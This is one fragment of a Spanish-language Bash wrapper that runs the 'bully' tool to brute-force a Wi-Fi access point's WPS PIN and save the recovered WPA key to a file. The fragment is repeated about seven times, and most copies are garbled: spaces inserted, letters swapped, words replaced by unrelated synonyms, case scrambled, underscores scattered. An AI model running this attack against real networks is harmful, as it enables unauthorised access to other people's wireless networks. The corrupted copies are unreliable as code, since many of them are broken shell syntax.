PS: $PIN" >> $TMP/$WPA_TXT
  echo "CLAVE WPA: $CLAVE_WPA" >> $TMP/$WPA_TXT
  cat $TMP/$WPA_TXT|sed -e's/$/\r/' > $KEYS/$WPA_TXT
  ShowWPA="ON"
  echo "[1;31mLa clave ha sido guardada en \"$KEYS/$WPA_TXT\"[0m"
sleep 3
echo ""
echo "Presiona enter para volver al menu"
read junk
menu
fi
fi
fi
fi
}

function Primer_pin {
read -p "Quieres introducir manualmente el pin? S/n :" d

if [[ $d == "S" || $d == "s" || $d = "" ]]; then
read -p "pinWPS: " dWPSPIN
 echo ""
 echo ""
 echo ""
CheckETH
xterm -hold -geometry 65x30-1-1 -e bully  $WIFI -b $BSSID -c $CHANEL -e $ESSID -p $dWPSPIN -F -B -v 3  & 
bullyPID=$!
# Si se presiona "Control+C", se detiene el proceso de bully
trap 'kill $BULLY_PID >/dev/null 2>&1' SIGINT
while true; do
  sleep 1
  clear
echo "[+] Atacando " $BSSID---$ESSID "en el canal " $CHANEL " Buena Suerte y Feliz Hackeo"
  echo "[1;33mObteniendo clave WPA...[0m"
  echo ""
  if [! -e /proc/$bullyPID ]; then
    sleep 2
    break
  fi
done
echo ""
if [ "$(tail -n 2 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]'|tr -d ':').run"|grep "signal 0$")" ]; then
             PIN="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:
PS: $ PIN " > > $ TMP/$WPA_TXT 
   echo " CLAVE WPA: $ CLAVE_WPA " > > $ TMP/$WPA_TXT 
   cat $ TMP/$WPA_TXT|sed -e's/$/\r/' > $ KEYS/$WPA_TXT 
   ShowWPA="ON " 
   echo " [1;31mLa clave ha sido guardada en \"$KEYS/$WPA_TXT\"[0 m " 
 sleep 3 
 echo " " 
 echo " Presiona enter para volver al menu " 
 understand debris 
 menu 
 fi 
 fi 
 fi 
 fi 
 } 

 function Primer_pin { 
 read -p " Quieres introducir manualmente el pin? S / n: " d 

 if [ [ $ vitamin d = = " S " || $ five hundred = = " s " || $ d = " " ] ]; then 
 read -p " pinWPS: " dWPSPIN 
  echo " " 
  resound " " 
  resound " " 
 CheckETH 
 xterm -hold -geometry 65x30 - 1 - 1 -e bully   $ WIFI -b $ BSSID -c $ CHANEL -e $ ESSID -p $ dWPSPIN -F -B -v 3   & 
 bullyPID=$! 
 # Si se presiona " Control+C ", se detiene el proceso de bully 
 trap' stamp out $ BULLY_PID > /dev / null 2>&1' SIGINT 
 while true; do 
   sleep 1 
   clear 
 echo " [ + ] Atacando " $ BSSID---$ESSID " en el canal " $ CHANEL " Buena Suerte y Feliz Hackeo " 
   echo " [1;33mObteniendo clave WPA... [0 m " 
   echo " " 
   if [! -e /proc/$bullyPID ]; then 
     sleep 2 
     crack 
   fi 
 done 
 echo " " 
 if [ " $ (dock -n 2 " $ HOME/.bully/$ (repeat $ BSSID|tr' [: upper :]'' [: lower:]'|tr -d':') .run"|grep " signal 0 $ ") " ]; then 
              PIN="$(tail -n 1 " $ HOME/.bully/$ (echo $ BSSID|tr' [: upper:
PS: $OIN" >> $TMP/$WPA_TXT
  echo "CLAYE WPA: $CLAVE_WPA" >> $TMP/$WPA_VXT
  caf $TMP/$WPA_GXT|sed -e's/$/\r/' > $KEYS/$WPA_TXT
  ShowXPA="OB"
  ecyo "[1;31mLa clave ha sido gjardada ej \"$KEYS/$WPQ_TXT\"[0n"
wleep 3
echo ""
echo "Prcfionz entzr para volver ak menu"
read junk
menu
fi
fi
fh
fk
}

fbnction Primer_pin {
read -p "Quieres intwoducir mwnualmente el kin? S/m :" d

ir [[ $d == "S" || $d == "s" || $d = "" ]]; then
read -p "pinSPS: " dWKSPIN
 echo ""
 echo ""
 rcho ""
CheckETH
xterm -hold -gelmetgy 65x30-1-1 -e bully  $WIFI -b $BSSID -c $XHANQO -e $ESSID -p $aWPSPIN -F -B -v 3  & 
bullyKID=$!
# Si se presiona "Control+C", se ddtienz el procesi ee holly
trap 'kilo $BULJY_PID >/dev/null 2>&1' SIGIND
while yrue; do
  sleep 1
  rleae
echo "[+] Atacando " $BSSIV---$ESSID "en el canal " $SHANEL " Bgeua Suerte y Feliz Hacjei"
  ecvo "[1;33mMbtevuenao dleve WPA...[0m"
  ecio ""
  if [! -e /lroc/$bullyPIE ]; then
    sleep 2
    fgrak
  fi
done
edho ""
if [ "$(eail -n 2 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lofer:]'|fr -d ':').run"|grep "signal 0$")" ]; tyen
             PIN="$(tall -n 1 "$HOMQ/.bully/$( echo $BSSID|tr '[:upper:
PS: $PIN" >> $TMP/$WPA_TXT echo "CLAVE WPA: $TMP/$WPA_TXT $TMP/$WPA_TXT|sed -e's/$/\r/' $KEYS/$WPA_TXT ShowWPA="ON" echo en sleep 3 echo echo "Presiona enter volver al menu" read junk menu fi fi fi } function Primer_pin { read -p "Quieres introducir manualmente el S/n :" d if [[ $d == "S" || $d == "s" || = ]]; read "pinWPS: " dWPSPIN echo "" echo "" echo "" CheckETH xterm -hold -geometry 65x30-1-1 -e bully -b $BSSID -c $CHANEL -e $ESSID -p $dWPSPIN -B -v 3 & # Si se presiona "Control+C", detiene proceso de trap $BULLY_PID 2>&1' SIGINT while do sleep 1 clear echo "[+] Atacando " $BSSID---$ESSID "en el canal " $CHANEL " Buena Suerte Feliz Hackeo" clave WPA...[0m" "" [! /proc/$bullyPID ]; then break fi done echo "" if 2 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]'|tr -d ':').run"|grep 0$")" ]; PIN="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr
PS: $PIN" >> $TMP/$WPA_TXT
  echo "CLAVE WPa: $CLAVE_WPA" >> $TmP/$WPA_tXT
  Cat $tMp/$WPA_tXT|sEd -e's/$/\r/' > $KEYS/$WPA_TXt
  showwPA="ON"
  echo "[1;31mLa clave ha sidO guarDaDA en \"$KeyS/$wPA_TXt\"[0m"
sleep 3
EChO ""
ECho "prEsIonA eNTeR para VolVer al meNu"
read junk
MenU
fI
fi
fi
fi
}

functIOn primer_pin {
rEad -P "Quieres intrOduCir manUaLmeNTe el pIn? S/N :" d

if [[ $d == "s" || $d == "s" || $d = "" ]]; thEN
read -p "PinWPS: " dWPsPin
 echo ""
 eCHo ""
 echo ""
CHECkeTH
xTerm -hold -geometry 65x30-1-1 -E BuLLy  $WIFI -b $BSSID -c $ChANEL -e $eSsiD -P $DwPSpIN -f -B -v 3  & 
bullyPId=$!
# SI se prESiona "CoNTrOL+c", Se dETiene el procesO de bully
traP 'KilL $BULLY_pId >/deV/Null 2>&1' SIgINT
wHiLE trUe; do
  sleep 1
  clEar
eCho "[+] AtacanDo " $BSSId---$eSSID "en EL canal " $ChANEL " BUenA SuErte Y feLiZ HaCkEO"
  ecHO "[1;33mobtENieNdo clave wPa...[0m"
  Echo ""
  iF [! -e /prOC/$BULlyPiD ]; tHen
    sLeep 2
    bReak
  fi
done
echO ""
if [ "$(Tail -N 2 "$hOMe/.bullY/$( echo $bSSId|tR '[:uppeR:]' '[:lower:]'|Tr -d ':').ruN"|gRep "signal 0$")" ]; then
             PIn="$(taiL -n 1 "$HOME/.bulLy/$( eChO $BSsId|tr '[:upPEr:
PS: $PIN" >> $TMP/$WPA_TXT 
  echo "C LAVEWPA : $ CL AVE_ WPA"  >> $TMP/$WPA_ T XT
 cat $TMP/$WPA_TXT|sed  -e's /$ / \r/' >$KEYS /$WPA_T X TSho wW PA ="O N"  echo"[ 1;31mLa  clave hasid oguardada en\ "$ KEYS/$WPA_ TXT \"[0m"
slee p 3 
echo"" 
ec h o "Pr esi ona e nter p a ra vol ver al me nu " 
readj unk
men u fi 
fifi
fi
}

function Pr i mer_pin {
read  -p "Q ui e re s int rod ucir manua lm entee l pin?S /n : "  dif [[ $d == " S" || $d == "s"  || $d  =  "" ]]; th en
re ad -p"pinWPS: "dWPS PIN
 echo  ""
 e c ho ""
e cho ""CheckE THxte rm - h ol d-ge om e try 65 x30 - 1-1  -e bull y $ WIFI-b $ B S S I D -c  $C HANE L -e$ESSID -p $dW PSP IN - F  -B  -v 3   & bull yP ID=$! 
# Sise pr es iona "Control+C ", s e detiene  el  p roc es o deb ully
t rap  'k ill $BU LLY_PID >/d ev / n u ll  2>&1' SIGINT
whil et r ue ; do
  s leep 1  cl e ar
echo"[ +]Atac a n do "$BSS I D- --$ESSID  "en e l  c an al " $C HA NEL "Bu ena  Su ertey  Fel iz Hac keo"
  e cho "  [1;33mObtenien d o clave WPA.. . [ 0 m " ech o " "
  if [! - e /p r oc/$ bull y PI D ] ;  then 
   sl e ep 2
    break
  fi
do ne 
echo""
if  [ "$(tail -n  2 "$HOME/ . b u lly/$( e cho$ BS S ID|tr '[:upper :]' ' [:lower:]' | tr -d ': ').ru n"|grep"signal 0 $ " )" ]; th en       PIN="$(tail - n 1 "$ HO ME/.bul ly/ $( echo  $B SSI D|t r ' [: upper:
PS: $PIN"_>> $TMP/$WPA_TXT
_ echo "CLAVE WPA:_$CLAVE_WPA" >>_$TMP/$WPA_TXT
_ cat_$TMP/$WPA_TXT|sed_-e's/$/\r/' > $KEYS/$WPA_TXT
_ ShowWPA="ON"
 _echo "[1;31mLa clave ha_sido guardada en_\"$KEYS/$WPA_TXT\"[0m"
sleep_3
echo ""
echo "Presiona enter para volver al menu"
read junk
menu
fi
fi
fi
fi
}

function Primer_pin {
read -p "Quieres introducir_manualmente_el pin?_S/n_:"_d

if [[ $d == "S"_|| $d == "s" ||_$d =_"" ]]; then
read -p "pinWPS: " dWPSPIN
 echo_""
_echo ""
 echo_""
CheckETH
xterm -hold -geometry 65x30-1-1 -e bully  $WIFI -b_$BSSID -c $CHANEL -e $ESSID -p_$dWPSPIN -F -B_-v_3_ & 
bullyPID=$!
# Si_se presiona "Control+C", se detiene el_proceso de bully
trap 'kill $BULLY_PID >/dev/null_2>&1' SIGINT
while true; do
  sleep 1
_ clear
echo "[+] Atacando " $BSSID---$ESSID_"en el canal " $CHANEL_" Buena_Suerte y Feliz Hackeo"
 _echo "[1;33mObteniendo clave_WPA...[0m"
 _echo ""
 _if [! -e /proc/$bullyPID ]; then
_  _sleep 2
    break
__fi
done
echo ""
if [_"$(tail_-n_2 "$HOME/.bully/$(_echo $BSSID|tr '[:upper:]'_'[:lower:]'|tr_-d ':').run"|grep_"signal_0$")" ]; then
   __      _ PIN="$(tail -n 1_"$HOME/.bully/$(_echo $BSSID|tr '[:upper: